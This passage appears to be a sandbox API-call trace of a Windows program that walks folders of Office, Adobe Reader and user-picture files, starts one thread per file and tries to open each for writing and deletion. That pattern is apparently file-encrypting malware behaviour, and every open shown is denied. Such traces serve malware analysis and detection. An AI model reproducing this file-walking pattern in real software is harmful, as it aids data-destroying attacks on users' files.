ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.969] wcscmp (_String1="..", _String2=".") returned 1 [0153.969] wcscmp (_String1="..", _String2="..") returned 0 [0153.969] FindNextFileW (in: hFindFile=0x942930, lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0153.969] FindClose (in: hFindFile=0x942930 | out: hFindFile=0x942930) returned 1 [0153.969] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x966440) returned 1 [0153.969] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9a08) returned 1 [0153.969] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9d28) returned 1 Thread: id = 3483 os_tid = 0xb64 [0153.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21324_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21324_.gif")) returned 0x20 [0153.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21324_.GIF", dwFileAttributes=0x20) returned 0 [0153.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21324_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21324_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.745] GetLastError () returned 0x5 [0153.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21324_.GIF", dwFileAttributes=0x20) returned 0 [0153.745] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6ab8) returned 1 Thread: id = 3484 os_tid = 0xb68 [0153.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21325_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21325_.gif")) returned 0x20 [0153.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21325_.GIF", dwFileAttributes=0x20) returned 0 [0153.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21325_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21325_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.746] GetLastError () returned 0x5 [0153.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21325_.GIF", dwFileAttributes=0x20) returned 0 [0153.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6bd8) returned 1 Thread: id = 3485 os_tid = 0xb6c [0153.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21326_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21326_.gif")) returned 0x20 [0153.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21326_.GIF", dwFileAttributes=0x20) returned 0 [0153.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21326_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21326_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.748] GetLastError () returned 0x5 [0153.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21326_.GIF", dwFileAttributes=0x20) returned 0 [0153.748] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7058) returned 1 Thread: id = 3486 os_tid = 0xb70 [0153.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21328_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21328_.gif")) returned 0x20 [0155.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21328_.GIF", dwFileAttributes=0x20) returned 0 [0155.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21328_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21328_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.166] GetLastError () returned 0x5 [0155.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21328_.GIF", dwFileAttributes=0x20) returned 0 [0155.166] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6c68) returned 1 Thread: id = 3487 os_tid = 0xb74 [0153.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21330_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21330_.gif")) returned 0x20 [0155.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21330_.GIF", dwFileAttributes=0x20) returned 0 [0155.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21330_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21330_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.167] GetLastError () returned 0x5 [0155.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21330_.GIF", dwFileAttributes=0x20) returned 0 [0155.167] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e78c8) returned 1 Thread: id = 3488 os_tid = 0xb78 [0153.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21332_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21332_.gif")) returned 0x20 [0155.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21332_.GIF", dwFileAttributes=0x20) returned 0 [0155.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21332_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21332_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.168] GetLastError () returned 0x5 [0155.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21332_.GIF", dwFileAttributes=0x20) returned 0 [0155.168] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7a78) returned 1 Thread: id = 3489 os_tid = 0xb80 [0153.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21334_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21334_.gif")) returned 0x20 [0155.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21334_.GIF", dwFileAttributes=0x20) returned 0 [0155.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21334_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21334_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.147] GetLastError () returned 0x5 [0155.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21334_.GIF", dwFileAttributes=0x20) returned 0 [0155.148] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6e18) returned 1 Thread: id = 3490 os_tid = 0xb84 [0153.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21336_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21336_.gif")) returned 0x20 [0155.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21336_.GIF", dwFileAttributes=0x20) returned 0 [0155.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21336_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21336_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.165] GetLastError () returned 0x5 [0155.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21336_.GIF", dwFileAttributes=0x20) returned 0 [0155.165] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6ea8) returned 1 Thread: id = 3491 os_tid = 0xb88 [0153.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21338_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21338_.gif")) returned 0x20 [0155.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21338_.GIF", dwFileAttributes=0x20) returned 0 [0155.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21338_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21338_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.164] GetLastError () returned 0x5 [0155.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21338_.GIF", dwFileAttributes=0x20) returned 0 [0155.164] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6f38) returned 1 Thread: id = 3492 os_tid = 0xb8c [0153.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21340_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21340_.gif")) returned 0x20 [0155.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21340_.GIF", dwFileAttributes=0x20) returned 0 [0155.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21340_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21340_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.162] GetLastError () returned 0x5 [0155.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21340_.GIF", dwFileAttributes=0x20) returned 0 [0155.163] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6fc8) returned 1 Thread: id = 3493 os_tid = 0xb90 [0153.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21348_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21348_.gif")) returned 0x20 [0155.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21348_.GIF", dwFileAttributes=0x20) returned 0 [0155.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21348_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21348_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.161] GetLastError () returned 0x5 [0155.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21348_.GIF", dwFileAttributes=0x20) returned 0 [0155.161] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7d48) returned 1 Thread: id = 3494 os_tid = 0xb94 [0153.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21370_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21370_.gif")) returned 0x20 [0155.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21370_.GIF", dwFileAttributes=0x20) returned 0 [0155.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21370_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21370_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.160] GetLastError () returned 0x5 [0155.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21370_.GIF", dwFileAttributes=0x20) returned 0 [0155.160] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7b08) returned 1 Thread: id = 3495 os_tid = 0xb98 [0153.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21390_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21390_.gif")) returned 0x20 [0155.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21390_.GIF", dwFileAttributes=0x20) returned 0 [0155.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21390_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21390_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.159] GetLastError () returned 0x5 [0155.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21390_.GIF", dwFileAttributes=0x20) returned 0 [0155.159] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8498) returned 1 Thread: id = 3496 os_tid = 0xb9c [0153.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21413_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21413_.gif")) returned 0x20 [0155.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21413_.GIF", dwFileAttributes=0x20) returned 0 [0155.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21413_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21413_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.158] GetLastError () returned 0x5 [0155.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21413_.GIF", dwFileAttributes=0x20) returned 0 [0155.158] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7dd8) returned 1 Thread: id = 3497 os_tid = 0xba4 [0153.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21427_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21427_.gif")) returned 0x20 [0155.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21427_.GIF", dwFileAttributes=0x20) returned 0 [0155.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21427_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21427_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.157] GetLastError () returned 0x5 [0155.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21427_.GIF", dwFileAttributes=0x20) returned 0 [0155.157] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8018) returned 1 Thread: id = 3538 os_tid = 0x684 [0153.811] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile36.bmp")) returned 0x20 [0153.811] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp", dwFileAttributes=0x20) returned 0 [0153.811] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile36.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.811] GetLastError () returned 0x5 [0153.811] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp", dwFileAttributes=0x20) returned 0 [0153.811] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97c678) returned 1 Thread: id = 3540 os_tid = 0x6b0 [0153.815] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile38.bmp")) returned 0x20 [0153.815] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp", dwFileAttributes=0x20) returned 0 [0153.815] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile38.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.816] GetLastError () returned 0x5 [0153.816] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp", dwFileAttributes=0x20) returned 0 [0153.816] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97c7d8) returned 1 Thread: id = 3541 os_tid = 0x834 [0153.972] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile39.bmp")) returned 0x20 [0153.972] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp", dwFileAttributes=0x20) returned 0 [0153.972] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile39.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.973] GetLastError () returned 0x5 [0153.973] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp", dwFileAttributes=0x20) returned 0 [0153.973] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97c888) returned 1 Thread: id = 3542 os_tid = 0x840 [0153.974] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0280 [0153.974] wcscpy (in: _Dest=0x8d0280, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0153.974] wcscat (in: _Dest=0x8d0280, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0153.974] wcscat (in: _Dest=0x8d0280, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\*" [0153.974] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x966440 [0153.974] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\*", lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9423f0 [0156.290] wcscmp (_String1=".", _String2=".") returned 0 [0156.290] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.290] wcscmp (_String1="..", _String2=".") returned 1 [0156.290] wcscmp (_String1="..", _String2="..") returned 0 [0156.291] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeFanHeitiStd-Bold.otf", cAlternateFileName="ADOBEF~1.OTF")) returned 1 [0156.291] wcscmp (_String1="AdobeFanHeitiStd-Bold.otf", _String2=".") returned 1 [0156.291] wcscmp (_String1="AdobeFanHeitiStd-Bold.otf", _String2="..") returned 1 [0156.291] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa8) returned 0x97b8b8 [0156.291] wcscpy (in: _Dest=0x97b8b8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0156.291] wcscat (in: _Dest=0x97b8b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0156.291] wcscat (in: _Dest=0x97b8b8, _Source="AdobeFanHeitiStd-Bold.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeFanHeitiStd-Bold.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeFanHeitiStd-Bold.otf" [0158.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97b8b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15d4 [0158.214] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c0638, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeGothicStd-Bold.otf", cAlternateFileName="ADOBEG~1.OTF")) returned 1 [0158.214] wcscmp (_String1="AdobeGothicStd-Bold.otf", _String2=".") returned 1 [0158.214] wcscmp (_String1="AdobeGothicStd-Bold.otf", _String2="..") returned 1 [0158.214] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa4) returned 0x97b5f8 [0158.214] wcscpy (in: _Dest=0x97b5f8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0158.214] wcscat (in: _Dest=0x97b5f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0158.214] wcscat (in: _Dest=0x97b5f8, _Source="AdobeGothicStd-Bold.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeGothicStd-Bold.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeGothicStd-Bold.otf" [0158.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97b5f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: 